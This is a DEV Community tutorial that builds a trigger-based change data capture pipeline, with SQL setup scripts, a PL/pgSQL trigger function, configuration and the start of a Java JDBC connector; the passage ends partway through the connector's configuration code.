DEV Community: Sanjay Ghosh

Building a Change Data Capture (CDC) System Using PostgreSQL Triggers and Java

Sanjay Ghosh — Sat, 07 Nov 2026 18:13:19 +0000

1. Introduction

Modern applications often need to keep data synchronized across multiple databases or systems. For example, an organization might maintain its primary operational database while also maintaining a separate database for reporting, analytics, search, or downstream application processing.

One common approach is to periodically copy data from the source database to the destination database. However, repeatedly copying entire tables can be inefficient, especially when only a small percentage of records have changed.

Change Data Capture (CDC) provides a more efficient approach by identifying and capturing changes made to the source data. Instead of transferring entire tables repeatedly, a CDC system captures individual data changes, such as INSERT, UPDATE, and DELETE operations, and propagates them to another system.

In this tutorial, we will build a simple CDC pipeline using PostgreSQL and Java.

We will use PostgreSQL database triggers to capture changes made to a source table. These changes will be recorded in a dedicated CDC events table. A Java-based CDC connector will periodically read these events using JDBC and apply the corresponding changes to a destination PostgreSQL database.

The connector will also implement batch processing, pagination, checkpoint management, transaction handling, retry logic, and database connection recovery.

What We Will Build

Our implementation consists of three main components:

Source PostgreSQL Database: Contains an employees table. Database triggers capture INSERT, UPDATE, and DELETE operations and record the changes in a cdc_events table.
Java CDC Connector: Periodically polls the CDC events table, retrieves pending events, processes them in batches, and applies the changes to the destination database.
Destination PostgreSQL Database: Maintains a synchronized copy of the employees table and a checkpoint table that tracks the last successfully processed event.

By the end of this tutorial, we will have a working CDC pipeline that can capture database changes and propagate them to another PostgreSQL database.

We will also test the implementation by inserting, updating, and deleting employee records, and examine how the connector handles batch processing, restarts, and database connection failures.

Note: This tutorial implements trigger-based CDC. It does not read PostgreSQL's Write-Ahead Log (WAL). We will discuss the differences between trigger-based CDC and WAL-based CDC later in the tutorial.

Further Reading: Before exploring the implementation, you may find it helpful to review the Change Data Capture (CDC) Pattern, which explains the fundamental concepts, different CDC approaches, architecture, and key design considerations.

2. Understanding the Architecture

Before looking at the SQL scripts and Java implementation, let's understand the overall architecture of our CDC pipeline.

The system uses two separate PostgreSQL databases:

Source database (cdc_source): Stores the original employee records and captures changes using database triggers.
Destination database (cdc_destination): Stores the synchronized employee records and maintains the CDC processing checkpoint.

A Java application, called the CDC connector, runs independently of both databases. It connects to the source and destination databases using JDBC and transfers captured changes from the source to the destination.

Figure 1: Detailed architecture of the PostgreSQL trigger-based CDC pipeline.

2.1 Source PostgreSQL Database

The source database contains two important database objects:

1. employees table

This is the primary table where application data is stored. For this demonstration, we use an employee table containing fields such as employee ID, employee name, department, and salary.

Applications perform normal INSERT, UPDATE, and DELETE operations against this table.

2. cdc_events table

This table stores the changes captured by the database triggers.

Each event contains information such as:

event_id: A unique event identifier generated using a PostgreSQL sequence.
operation: The type of database operation (INSERT, UPDATE, or DELETE).
record_id: The employee ID associated with the change.
changed_data: The employee data captured as JSONB.
created_at: The timestamp when the event was recorded.

A PostgreSQL trigger function executes after an INSERT, UPDATE, or DELETE operation on the employees table. It records the corresponding change in cdc_events.

An important property of this design is that the source data modification and the corresponding CDC event insertion occur within the same database transaction. If the source transaction rolls back, the CDC event is rolled back as well.

This prevents the event table from recording a committed change that never actually occurred in the source database.

2.2 Java CDC Connector

The Java CDC connector is responsible for moving captured changes from the source database to the destination database.

It uses JDBC to communicate with both PostgreSQL databases.

The connector performs the following operations:

1. Polling the source database

The connector periodically queries the cdc_events table for events whose IDs are greater than the last processed event ID stored in the checkpoint table.

Events are retrieved in ascending event ID order.

2. Pagination and batch processing

The connector retrieves a limited number of events in each query. This is controlled by the fetch-size configuration.

The retrieved events are then divided into smaller processing batches according to the configured batch size.

For example, if the fetch size is 4 and the batch size is 3, the connector retrieves up to four events at a time and processes them in batches of three and one.

3. Applying changes to the destination

For each event, the connector examines the operation type and performs the corresponding action against the destination employees table:

INSERT: Inserts a new employee record.
UPDATE: Updates an existing employee record.
DELETE: Deletes the employee record.

4. Checkpoint management

After successfully applying a batch, the connector updates the checkpoint in the destination database.

The checkpoint records the last successfully processed event ID. When the connector restarts, it reads this value and resumes processing from the next event.

5. Error handling and recovery

The connector includes transaction rollback, retry handling with exponential backoff, and database connection recovery.

If a retryable transaction error occurs, the connector rolls back the current transaction and retries the batch. If a database connection failure occurs, the connector attempts to reconnect and resume from the stored checkpoint.

2.3 Destination PostgreSQL Database

The destination database maintains a synchronized copy of the source employees table.

It contains two important tables:

1. employees table

This table stores employee records replicated from the source database.

The Java connector applies INSERT, UPDATE, and DELETE operations to this table based on the events retrieved from the source database.

2. cdc_checkpoint table

This table maintains the connector's processing position.

It stores the connector name, the last successfully processed event ID, and the timestamp of the checkpoint update.

The destination data changes and checkpoint update are committed within the same destination database transaction. This ensures that the checkpoint does not advance independently of the corresponding data changes.

If a destination transaction fails, both the data changes and checkpoint update are rolled back.

2.4 End-to-End CDC Processing Flow

Let's walk through the complete processing flow.

An application inserts, updates, or deletes an employee record in the source employees table.
The PostgreSQL trigger executes and records the change in the source cdc_events table.
The Java CDC connector periodically polls the source database for events that have not yet been processed.
The connector retrieves events using pagination and divides them into processing batches.
For each event, the connector applies the corresponding INSERT, UPDATE, or DELETE operation to the destination employees table.
After processing a batch successfully, the connector updates the checkpoint with the last event ID in that batch.
The destination data changes and checkpoint update are committed together.
If a retryable transaction error occurs, the connector rolls back and retries the batch. If a connection failure occurs, it reconnects and resumes using the checkpoint.
The polling cycle continues, allowing subsequent source database changes to be synchronized.

2.5 Important Transaction Boundaries

There are two important transaction boundaries in this architecture.

Source transaction

The source employee modification and the insertion of its corresponding CDC event are part of the same source database transaction.

This ensures that the CDC event is committed only when the source data change is committed.

Destination transaction

The connector applies all employee changes in a batch and updates the checkpoint within one destination database transaction.

If any operation in the batch fails, the transaction is rolled back. This prevents the checkpoint from advancing when the corresponding batch has not been successfully committed.

These transaction boundaries are important for maintaining consistency between the source event stream and the destination data.

2.6 Architecture Summary

The overall architecture can be summarized as follows:

Component	Responsibility
Source `employees`	Stores original employee records
PostgreSQL trigger	Captures INSERT, UPDATE, and DELETE operations
Source `cdc_events`	Stores captured database changes
Java CDC connector	Polls, processes, and transfers events
Destination `employees`	Stores synchronized employee records
Destination `cdc_checkpoint`	Tracks successfully processed events

This design provides a practical foundation for understanding how a trigger-based CDC pipeline works.

One limitation to keep in mind is that a sequence-generated event ID does not necessarily represent transaction commit order when multiple source transactions run concurrently. We will discuss this ordering consideration and other limitations later in the tutorial.

3. Setting Up the PostgreSQL Databases

Before implementing the CDC logic, we need to set up the source and destination PostgreSQL databases.

We will use two separate databases:

cdc_source – Stores the original employee records and captures database changes.
cdc_destination – Stores the synchronized employee records and CDC checkpoint information.

3.1 Prerequisites

Make sure the following software is installed before proceeding.

Software	Requirement	Purpose
Java	JDK 17 or later	Runs the Java CDC connector
Maven	Maven 3.x	Builds the Java application and manages dependencies
PostgreSQL	PostgreSQL 16.x or compatible	Provides the source and destination databases
Git	Optional	Clones the project repository

Verify your installations

Check the Java version:

java -version

Check Maven:

mvn -version

Check PostgreSQL:

psql --version

You should have PostgreSQL running and be able to connect using the PostgreSQL command-line client (psql).

Download the source code

The complete project, including the SQL scripts and Java implementation, is available in the GitHub repository:

PostgreSQL Trigger-Based CDC Demo – GitHub

Clone the repository:

git clone -b dev https://github.com/knowledgebase21st/Software-Engineering.git

Navigate to the project directory:

cd cdc-demo

The project contains the SQL scripts required to create the databases and tables, along with the Java CDC connector implementation.

In the next section, we will create the source PostgreSQL database and its employee table.

3.2 Creating the Source Database

The first step is to create the source PostgreSQL database named cdc_source.

This database will store the original employee records and the CDC events generated by database triggers.

Our project includes the following SQL script:

sql/01_create_source_database.sql

SQL Script: 01_create_source_database.sql

-- ============================================================
-- File: 01_create_source_database.sql
-- Purpose: Create the source database for CDC demonstration
-- ============================================================

-- Create the source database if it does not already exist.
SELECT 'CREATE DATABASE cdc_source'
WHERE NOT EXISTS (
    SELECT FROM pg_database
    WHERE datname = 'cdc_source'
)\gexec

-- Verify database creation.
SELECT datname
FROM pg_database
WHERE datname = 'cdc_source';

Understanding the SQL script

Let's look at the important parts.

1. Checking whether the database exists

SELECT 'CREATE DATABASE cdc_source'
WHERE NOT EXISTS (
    SELECT FROM pg_database
    WHERE datname = 'cdc_source'
)

PostgreSQL maintains a system catalog named pg_database, which contains information about databases in the PostgreSQL server.

The query checks whether a database named cdc_source already exists.

If it does not exist, the query returns the text:

CREATE DATABASE cdc_source

If the database already exists, the query returns no rows.

2. Executing the CREATE DATABASE command

\gexec

\gexec is a PostgreSQL psql meta-command. It executes the SQL statements returned by the preceding query.

In this case, it executes CREATE DATABASE cdc_source only when the database does not already exist.

This makes the script safe to run multiple times without attempting to create an existing database.

3. Verifying database creation

SELECT datname
FROM pg_database
WHERE datname = 'cdc_source';

This query checks the PostgreSQL system catalog again and displays the database name if it exists.

Executing the script

Connect to the default PostgreSQL database (postgres) using psql:

psql -U postgres -d postgres

You can execute the SQL script from the terminal using:

psql -U postgres -d postgres -f sql/01_create_source_database.sql

Make sure you run this command from the project root directory.

Expected output

If the database does not already exist, the script creates it and displays its name during verification.

  datname
------------
 cdc_source
(1 row)

If the database already exists, the creation step is skipped and the verification query still displays cdc_source.

The source database is now ready. In the next section, we will create the employees table and the CDC events table.

Technical Note: The \gexec command is a psql meta-command, not a standard SQL statement. Therefore, this script should be executed using the PostgreSQL command-line client (psql). It will not work directly in pgAdmin's Query Tool or other SQL editors that do not support psql meta-commands.

3.3 Creating the Source Tables

After creating the cdc_source database, the next step is to create the tables required for the CDC pipeline.

We will create two tables:

employees – Stores the original employee records. This is the source table where INSERT, UPDATE, and DELETE operations will occur.
cdc_events – Stores the change events captured by the PostgreSQL trigger. The Java CDC connector will periodically read these events and apply the corresponding changes to the destination database.

Step 1: Create the Tables

The following SQL script creates both tables.

File: sql/02_create_source_tables.sql

-- ============================================================
-- File: 02_create_source_tables.sql
-- Purpose: Create source employee and CDC event tables
-- Database: cdc_source
-- ============================================================

-- Create the employees table.
CREATE TABLE IF NOT EXISTS employees (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100) NOT NULL,
    department VARCHAR(100),
    salary NUMERIC(10,2)
);

-- Create the CDC events table.
CREATE TABLE IF NOT EXISTS cdc_events (
    event_id BIGSERIAL PRIMARY KEY,
    operation VARCHAR(10) NOT NULL,
    record_id INTEGER NOT NULL,
    changed_data JSONB,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- Verify table creation.
SELECT table_name
FROM information_schema.tables
WHERE table_schema = 'public'
  AND table_name IN ('employees', 'cdc_events')
ORDER BY table_name;

Step 2: Understanding the Employees Table

The employees table stores the original employee data.

Column	Description
`id`	Primary key. Uses `SERIAL` to generate employee IDs automatically.
`name`	Employee name. Cannot be NULL.
`department`	Employee's department.
`salary`	Employee salary, stored with two decimal places.

The id column uniquely identifies each employee record. It will also be used by the CDC connector to identify which destination record needs to be inserted, updated, or deleted.

Step 3: Understanding the CDC Events Table

The cdc_events table acts as the change log for our CDC pipeline. Whenever an employee record is inserted, updated, or deleted, the PostgreSQL trigger will capture the operation and store an event in this table.

Column	Description
`event_id`	Primary key. Uses `BIGSERIAL` to generate a unique event ID.
`operation`	Identifies the operation: INSERT, UPDATE, or DELETE.
`record_id`	Contains the ID of the employee record affected by the operation.
`changed_data`	Stores the captured record data in PostgreSQL's `JSONB` format.
`created_at`	Records when the event was created. Defaults to the current timestamp.

A few important details:

BIGSERIAL: Automatically generates a unique event ID using a sequence. The Java connector uses this ID when reading and tracking CDC events.
JSONB: PostgreSQL's binary JSON data type. It allows the captured employee data to be stored in a structured format.
operation: Identifies the type of database change so the connector knows which operation to apply to the destination table.
record_id: Identifies the employee record associated with the event.

The trigger function that populates this table will be implemented in Section 4.

Step 4: Execute the SQL Script

Connect to the cdc_source database using psql:

psql -U postgres -d cdc_source

Alternatively, execute the script directly from the project root directory:

psql -U postgres -d cdc_source -f sql/02_create_source_tables.sql

Step 5: Verify Table Creation

The final query in the script checks the PostgreSQL information_schema.tables catalog to confirm that both tables exist in the public schema.

You should see output similar to the following:

 table_name
-------------
 cdc_events
 employees
(2 rows)

Both tables are now ready. In the next section, we will create the destination database and prepare it to receive the synchronized employee records.

3.4 Creating the Destination Database

Now that the source database and its tables are ready, the next step is to create the destination database.

The destination database, cdc_destination, will store the employee records synchronized from the source database by our Java CDC connector.

The connector reads change events from cdc_source and applies the corresponding INSERT, UPDATE, and DELETE operations to the destination database.

Step 1: Create the Destination Database

The following SQL script creates the cdc_destination database if it does not already exist.

File: sql/05_create_destination_database.sql

-- ============================================================
-- File: 05_create_destination_database.sql
-- Purpose: Create the destination database for CDC
-- ============================================================

-- Create the destination database if it does not already exist.
SELECT 'CREATE DATABASE cdc_destination'
WHERE NOT EXISTS (
    SELECT FROM pg_database
    WHERE datname = 'cdc_destination'
)\gexec

-- Verify database creation.
SELECT datname
FROM pg_database
WHERE datname = 'cdc_destination';

Step 2: Understanding the SQL Script

The script uses the PostgreSQL system catalog pg_database to check whether a database named cdc_destination already exists.

Let's look at the important parts:

Database existence check: The SELECT statement checks pg_database for an existing database named cdc_destination.
Conditional creation: If the database does not exist, the query returns the SQL statement CREATE DATABASE cdc_destination.
\gexec: This psql meta-command executes the SQL statement returned by the query. If the database already exists, no statement is returned, so no creation is attempted.
Verification: The final query checks pg_database again and displays the destination database name.

This approach makes the script safe to execute more than once without attempting to recreate an existing database.

Step 3: Execute the SQL Script

Connect to the default PostgreSQL database (postgres) using psql:

psql -U postgres -d postgres

Alternatively, execute the script directly from the project root directory:

psql -U postgres -d postgres -f sql/05_create_destination_database.sql

Step 4: Verify Database Creation

After successful execution, the verification query should display output similar to the following:

    datname
-----------------
 cdc_destination
(1 row)

The cdc_destination database is now ready.

Technical Note: Just like the source database creation script, this script uses \gexec, which is a psql meta-command rather than standard SQL. Execute it using the PostgreSQL command-line client (psql). It will not work directly in pgAdmin's Query Tool or other SQL editors that do not support psql meta-commands.

In the next section, we will create the destination tables required to store synchronized employee records and maintain CDC checkpoint information.

3.5 Creating the Destination Tables

Now that the cdc_destination database has been created, we need to create the tables required by the CDC pipeline.

We will create two tables:

employees – Stores employee records synchronized from the source database.
cdc_checkpoint – Maintains the last processed CDC event ID, allowing the Java connector to resume processing from its previous position after a restart.

Step 1: Create the Destination Employees Table

The destination employees table has the same columns as the source employees table. However, there is one important difference: the id column is defined as INTEGER PRIMARY KEY instead of SERIAL PRIMARY KEY.

The destination receives employee IDs from the source database, so it does not need to generate new IDs.

File: sql/06_create_destination_tables.sql

-- ============================================================
-- File: 06_create_destination_tables.sql
-- Purpose: Create destination employee table
-- Database: cdc_destination
-- ============================================================

-- Create the destination employees table.
CREATE TABLE IF NOT EXISTS employees (
    id INTEGER PRIMARY KEY,
    name VARCHAR(100) NOT NULL,
    department VARCHAR(100),
    salary NUMERIC(10,2)
);

-- Verify table creation.
SELECT table_name
FROM information_schema.tables
WHERE table_schema = 'public'
  AND table_name = 'employees';

Step 2: Understanding the Destination Employees Table

The destination table stores the employee records replicated from the source database.

Column	Description
`id`	Primary key. Stores the employee ID received from the source database.
`name`	Employee name. Cannot be NULL.
`department`	Employee's department.
`salary`	Employee salary, stored with two decimal places.

Why is id defined as INTEGER instead of SERIAL?

In the source database, PostgreSQL automatically generates employee IDs using SERIAL.

However, the destination database must preserve the original employee IDs. The Java connector reads the employee ID from the CDC event and uses that same ID when inserting or updating the destination record.

Therefore, the destination table uses INTEGER PRIMARY KEY rather than generating its own IDs.

Step 3: Create the CDC Checkpoint Table

The cdc_checkpoint table maintains the processing position of the Java CDC connector.

The connector uses this table to determine which CDC events have already been processed. After successfully applying a batch of changes to the destination database, it updates the checkpoint with the last processed event ID.

File: sql/07_create_checkpoint_table.sql

-- ============================================================
-- File: 07_create_checkpoint_table.sql
-- Purpose: Create CDC connector checkpoint table
-- Database: cdc_destination
-- ============================================================

CREATE TABLE IF NOT EXISTS cdc_checkpoint (
    connector_name VARCHAR(100) PRIMARY KEY,
    last_processed_event_id BIGINT NOT NULL DEFAULT 0,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- Initialize the checkpoint for our CDC connector.
INSERT INTO cdc_checkpoint (
    connector_name,
    last_processed_event_id
)
VALUES (
    'employee-cdc-connector',
    0
)
ON CONFLICT (connector_name) DO NOTHING;

-- Verify checkpoint initialization.
SELECT *
FROM cdc_checkpoint
WHERE connector_name = 'employee-cdc-connector';

Step 4: Understanding the CDC Checkpoint Table

Let's understand the purpose of each column.

Column	Description
`connector_name`	Primary key identifying the CDC connector.
`last_processed_event_id`	Stores the ID of the last successfully processed CDC event.
`updated_at`	Records when the checkpoint row was initially created.

A few important details:

connector_name: Identifies the connector whose processing position is being tracked. In our implementation, the connector name is employee-cdc-connector.
last_processed_event_id: Initially set to 0. As the connector processes CDC events, this value is updated to reflect the last processed event ID.
updated_at: Defaults to the current timestamp when the checkpoint row is inserted.

The initialization statement uses:

ON CONFLICT (connector_name) DO NOTHING;

This prevents duplicate checkpoint entries if the initialization script is executed more than once. If a checkpoint row already exists for the connector, its existing value is preserved.

The Java connector will use this checkpoint to resume processing after a restart.

Step 5: Execute the SQL Scripts

Connect to the cdc_destination database using psql:

psql -U postgres -d cdc_destination

Alternatively, execute both scripts directly from the project root directory:

psql -U postgres -d cdc_destination -f sql/06_create_destination_tables.sql

psql -U postgres -d cdc_destination -f sql/07_create_checkpoint_table.sql

Execute the scripts in this order: first create the destination employees table, then create and initialize the checkpoint table.

Step 6: Verify Table Creation and Checkpoint Initialization

The first script verifies that the destination employees table exists.

Expected output:

 table_name
-------------
 employees
(1 row)

The second script verifies that the checkpoint entry has been initialized.

Expected output will be similar to:

     connector_name     | last_processed_event_id |         updated_at
------------------------+-------------------------+----------------------------
 employee-cdc-connector |                       0 | 2026-11-06 ...
(1 row)

The timestamp will reflect the time when the checkpoint row was created.

Both destination tables are now ready.

Summary

At this point, we have created the source and destination databases and all the tables required for our CDC pipeline.

Database	Table	Purpose
`cdc_source`	`employees`	Stores original employee records.
`cdc_source`	`cdc_events`	Stores captured database change events.
`cdc_destination`	`employees`	Stores synchronized employee records.
`cdc_destination`	`cdc_checkpoint`	Tracks the connector's processing position.

In the next section, we will implement the PostgreSQL trigger-based CDC mechanism that captures employee INSERT, UPDATE, and DELETE operations and records them in the cdc_events table.

4. Implementing CDC Using PostgreSQL Triggers

In the previous section, we created the source and destination databases along with the tables required for our CDC pipeline.

Now we will implement the change capture mechanism using PostgreSQL triggers.

PostgreSQL triggers allow us to execute a function automatically when specified database operations occur. In our implementation, a trigger on the source employees table captures INSERT, UPDATE, and DELETE operations and records the corresponding changes in the cdc_events table.

We will implement this using two SQL scripts:

03_create_cdc_function.sql – Defines the trigger function that captures employee changes.
04_create_cdc_trigger.sql – Creates the trigger that invokes the function whenever an employee record is modified.

4.1 Creating the CDC Trigger Function

The first step is to create a PostgreSQL trigger function named capture_employee_changes().

This function determines which database operation occurred and records the corresponding employee data in the cdc_events table.

File: sql/03_create_cdc_function.sql

-- ============================================================
-- File: 03_create_cdc_function.sql
-- Purpose: Create the CDC trigger function
-- Database: cdc_source
-- ============================================================

CREATE OR REPLACE FUNCTION capture_employee_changes()
RETURNS TRIGGER AS $$
BEGIN

    IF (TG_OP = 'INSERT') THEN

        INSERT INTO cdc_events (
            operation,
            record_id,
            changed_data
        )
        VALUES (
            'INSERT',
            NEW.id,
            to_jsonb(NEW)
        );

        RETURN NEW;

    ELSIF (TG_OP = 'UPDATE') THEN

        INSERT INTO cdc_events (
            operation,
            record_id,
            changed_data
        )
        VALUES (
            'UPDATE',
            NEW.id,
            to_jsonb(NEW)
        );

        RETURN NEW;

    ELSIF (TG_OP = 'DELETE') THEN

        INSERT INTO cdc_events (
            operation,
            record_id,
            changed_data
        )
        VALUES (
            'DELETE',
            OLD.id,
            to_jsonb(OLD)
        );

        RETURN OLD;

    END IF;

    RETURN NULL;

END;
$$ LANGUAGE plpgsql;

-- Verify function creation.
SELECT routine_name
FROM information_schema.routines
WHERE routine_schema = 'public'
  AND routine_name = 'capture_employee_changes';

Understanding the Trigger Function

Let's understand the important parts of this function.

1. Function Declaration

CREATE OR REPLACE FUNCTION capture_employee_changes()
RETURNS TRIGGER AS $$

CREATE OR REPLACE FUNCTION creates the function or replaces its existing definition.
capture_employee_changes() is the function name.
RETURNS TRIGGER indicates that this function is designed to be invoked by a PostgreSQL trigger.
$$ marks the beginning and end of the function body.

The function is written using PostgreSQL's procedural language, PL/pgSQL.

2. Identifying the Database Operation

The function uses the PostgreSQL trigger variable TG_OP to determine which operation caused the trigger to execute.

It checks for three possible operations:

INSERT
UPDATE
DELETE

Based on the operation, the function captures the appropriate employee record and inserts a corresponding event into cdc_events.

3. Handling INSERT Operations

IF (TG_OP = 'INSERT') THEN

    INSERT INTO cdc_events (
        operation,
        record_id,
        changed_data
    )
    VALUES (
        'INSERT',
        NEW.id,
        to_jsonb(NEW)
    );

    RETURN NEW;

When a new employee record is inserted:

TG_OP identifies the operation as INSERT.
NEW represents the newly inserted employee record.
NEW.id retrieves the employee ID.
to_jsonb(NEW) converts the complete employee record into PostgreSQL's JSONB format.
A new event is inserted into cdc_events with the operation type INSERT.

4. Handling UPDATE Operations

ELSIF (TG_OP = 'UPDATE') THEN

    INSERT INTO cdc_events (
        operation,
        record_id,
        changed_data
    )
    VALUES (
        'UPDATE',
        NEW.id,
        to_jsonb(NEW)
    );

    RETURN NEW;

When an existing employee record is updated:

TG_OP identifies the operation as UPDATE.
NEW represents the updated employee record.
NEW.id identifies the employee.
to_jsonb(NEW) captures the updated employee data.
A new event is inserted into cdc_events with the operation type UPDATE.

Our implementation captures the complete updated record rather than only the columns that changed.

5. Handling DELETE Operations

ELSIF (TG_OP = 'DELETE') THEN

    INSERT INTO cdc_events (
        operation,
        record_id,
        changed_data
    )
    VALUES (
        'DELETE',
        OLD.id,
        to_jsonb(OLD)
    );

    RETURN OLD;

When an employee record is deleted:

TG_OP identifies the operation as DELETE.
OLD represents the employee record before deletion.
OLD.id retrieves the employee ID.
to_jsonb(OLD) converts the deleted record into JSONB format.
A new event is inserted into cdc_events with the operation type DELETE.

Unlike INSERT and UPDATE, DELETE uses OLD because the record no longer exists in the source table after the deletion.

6. Understanding NEW and OLD

PostgreSQL provides two special variables that are particularly important when working with row-level triggers.

Variable	Description
`NEW`	Represents the new row being inserted or the updated row after an UPDATE operation.
`OLD`	Represents the existing row before an UPDATE or DELETE operation.

In our implementation:

INSERT uses NEW.
UPDATE uses NEW.
DELETE uses OLD.

7. Returning from the Function

The function returns NEW for INSERT and UPDATE operations and OLD for DELETE operations.

It also contains a final RETURN NULL as a fallback if none of the three operation conditions matches.

Because this is an AFTER trigger, PostgreSQL does not use the returned row to modify the source table. The return value is effectively ignored for this trigger type.

Execute the SQL Script

Connect to the source database:

psql -U postgres -d cdc_source

Alternatively, execute the script directly from the project root directory:

psql -U postgres -d cdc_source -f sql/03_create_cdc_function.sql

The final query in the script verifies that the function was created successfully.

Expected output:

       routine_name
---------------------------
 capture_employee_changes
(1 row)

The CDC trigger function is now ready.

4.2 Creating the CDC Trigger

Creating the trigger function alone does not activate change capture. We must also create a trigger on the source employees table that invokes the function whenever an employee record is inserted, updated, or deleted.

File: sql/04_create_cdc_trigger.sql

-- ============================================================
-- File: 04_create_cdc_trigger.sql
-- Purpose: Create the CDC trigger on employees table
-- Database: cdc_source
-- ============================================================

-- Remove the trigger if it already exists.
DROP TRIGGER IF EXISTS employee_changes_trigger
ON employees;

-- Create the CDC trigger.
CREATE TRIGGER employee_changes_trigger
AFTER INSERT OR UPDATE OR DELETE
ON employees
FOR EACH ROW
EXECUTE FUNCTION capture_employee_changes();

-- Verify trigger creation.
SELECT trigger_name, event_manipulation
FROM information_schema.triggers
WHERE event_object_table = 'employees'
ORDER BY event_manipulation;

Understanding the Trigger Definition

Let's examine the important statements.

1. Removing an Existing Trigger

DROP TRIGGER IF EXISTS employee_changes_trigger
ON employees;

This statement removes the existing trigger if it is already present on the employees table.

Using IF EXISTS prevents an error if the trigger does not exist.

This makes the script easier to execute repeatedly.

2. Creating the Trigger

CREATE TRIGGER employee_changes_trigger
AFTER INSERT OR UPDATE OR DELETE
ON employees
FOR EACH ROW
EXECUTE FUNCTION capture_employee_changes();

Let's break down this statement:

Component	Description
`employee_changes_trigger`	Name of the trigger.
`AFTER`	Executes the trigger after the specified database operation.
`INSERT OR UPDATE OR DELETE`	Specifies the operations that activate the trigger.
`ON employees`	Attaches the trigger to the source `employees` table.
`FOR EACH ROW`	Executes the trigger separately for every affected row.
`EXECUTE FUNCTION`	Invokes the `capture_employee_changes()` function.

Because this is a row-level trigger, the function executes once for each affected row.

For example, if an UPDATE statement modifies five employee records, the trigger function executes five times, generating five CDC events.

3. Verifying Trigger Creation

The final query checks PostgreSQL's information_schema.triggers view to verify that the trigger exists and identify the operations associated with it.

Execute the SQL Script

Run the following command from the project root directory:

psql -U postgres -d cdc_source -f sql/04_create_cdc_trigger.sql

The verification query should return the trigger name and its associated operations:

       trigger_name       | event_manipulation
--------------------------+-------------------
 employee_changes_trigger | DELETE
 employee_changes_trigger | INSERT
 employee_changes_trigger | UPDATE
(3 rows)

The trigger is now installed on the source employees table.

4.3 Understanding the Transactional Behavior

An important characteristic of our implementation is that the employee change and the corresponding CDC event are written within the same source database transaction.

For example, when an application inserts a new employee:

PostgreSQL inserts the employee record into employees.
The AFTER INSERT trigger executes.
The trigger function inserts the corresponding event into cdc_events.
Both operations participate in the same transaction.

If the source transaction is committed, both the employee record and its CDC event are committed. If the transaction is rolled back, both are rolled back.

This ensures that the CDC event is not committed independently of the corresponding source database change.

The Java CDC connector will read these events from cdc_events and apply them to the destination database. We will implement that connector in a later section.

Summary

In this section, we implemented PostgreSQL trigger-based change capture.

Created the capture_employee_changes() trigger function.
Implemented handling for INSERT, UPDATE, and DELETE operations.
Created the employee_changes_trigger on the source employees table.
Configured the trigger to execute once for every affected row.
Ensured that source changes and CDC event records participate in the same transaction.

Our PostgreSQL source database can now capture employee changes automatically. In the next section, we will begin implementing the Java CDC connector that reads these events and synchronizes them with the destination database.

5. Implementing the Java CDC Connector

In the previous section, we implemented PostgreSQL triggers to capture INSERT, UPDATE, and DELETE operations on the source employees table. These changes are recorded in the cdc_events table.

Now we will implement the Java CDC connector that reads these events and applies the corresponding changes to the destination database.

The connector uses JDBC to communicate with both PostgreSQL databases and Jackson to process the JSONB data stored in the CDC events.

5.1 Understanding the Connector Structure and Configuration

Before implementing the CDC processing logic, let's understand the structure of the Java connector and how its configuration is managed.

The main Java class is named CDCConnector and belongs to the following package:

package com.clockwise.cdc;

The connector uses several Java standard libraries and the Jackson library.

Required Imports

The following imports are used in the implementation:

import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;

import java.util.ArrayList;
import java.util.List;
import java.math.BigDecimal;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Types;

import java.io.FileInputStream;
import java.io.IOException;
import java.util.Properties;

Here is the purpose of the important classes:

Class	Purpose
`Connection`	Represents a connection to a PostgreSQL database.
`DriverManager`	Establishes database connections using JDBC.
`PreparedStatement`	Executes parameterized SQL statements.
`ResultSet`	Reads query results from the database.
`SQLException`	Handles database-related exceptions.
`JsonNode`	Represents JSON data retrieved from CDC events.
`ObjectMapper`	Parses JSON strings into Jackson JSON objects.
`BigDecimal`	Handles employee salary values with decimal precision.
`Properties`	Loads configuration settings from a properties file.
`ArrayList` and `List`	Store and manage fetched CDC events.

Loading Configuration from application.properties

Rather than hardcoding database connection details and processing parameters throughout the Java code, the connector loads its configuration from an external file named application.properties.

The following configuration is used by our project:

File: application.properties

source.db.url=jdbc:postgresql://localhost:5432/cdc_source
destination.db.url=jdbc:postgresql://localhost:5432/cdc_destination
db.username=postgres

cdc.polling.interval.ms=2000
cdc.batch.size=3
cdc.fetch.size=4
cdc.max.retries=3
cdc.retry.delay.ms=1000
cdc.reconnect.delay.ms=5000

Let's understand these properties:

Property	Description
`source.db.url`	JDBC URL for connecting to the source database.
`destination.db.url`	JDBC URL for connecting to the destination database.
`db.username`	Database username used for both connections.
`cdc.polling.interval.ms`	Time interval between polling cycles, in milliseconds.
`cdc.batch.size`	Number of CDC events processed in a destination transaction.
`cdc.fetch.size`	Maximum number of CDC events retrieved in one source query.
`cdc.max.retries`	Maximum number of retries after the initial transaction attempt.
`cdc.retry.delay.ms`	Initial delay between transaction retry attempts.
`cdc.reconnect.delay.ms`	Delay before attempting to reconnect after a database connection failure.

The values shown above are the configuration used in our demonstration. We will examine batch processing, pagination, retries, and reconnection in more detail in the subsequent sections.

Reading the Configuration File

The connector loads the properties using the loadConfiguration() method.

private static Properties loadConfiguration() {

    Properties properties = new Properties();

    try (FileInputStream input =
                 new FileInputStream("application.properties")) {

        properties.load(input);

        System.out.println(
                "Configuration loaded from application.properties"
        );

    } catch (IOException e) {

        throw new IllegalStateException(
                "Unable to load application.properties", e
        );
    }

    return properties;
}

The method performs the following steps:

Creates a Properties object.
Opens application.properties using FileInputStream.
Loads the configuration values using properties.load().
Returns the populated Properties object.

If the configuration file cannot be opened or read, the method throws an IllegalStateException, preventing the connector from starting with missing configuration.

The file is opened using a relative path, so the connector expects application.properties to be available in its working directory.

Defining Configuration Constants

The connector loads the configuration once when the class is initialized and stores the values in static constants.

For example:

private static final Properties CONFIG = loadConfiguration();

private static final String SOURCE_URL =
        CONFIG.getProperty("source.db.url");

private static final String DESTINATION_URL =
        CONFIG.getProperty("destination.db.url");

private static final String DB_USER =
        CONFIG.getProperty("db.username", "postgres");

The getProperty() method retrieves the configured values. For the database username, the connector uses postgres as the default if the property is not specified.

The database password is handled separately:

private static final String DB_PASSWORD =
        System.getenv("DB_PASSWORD");

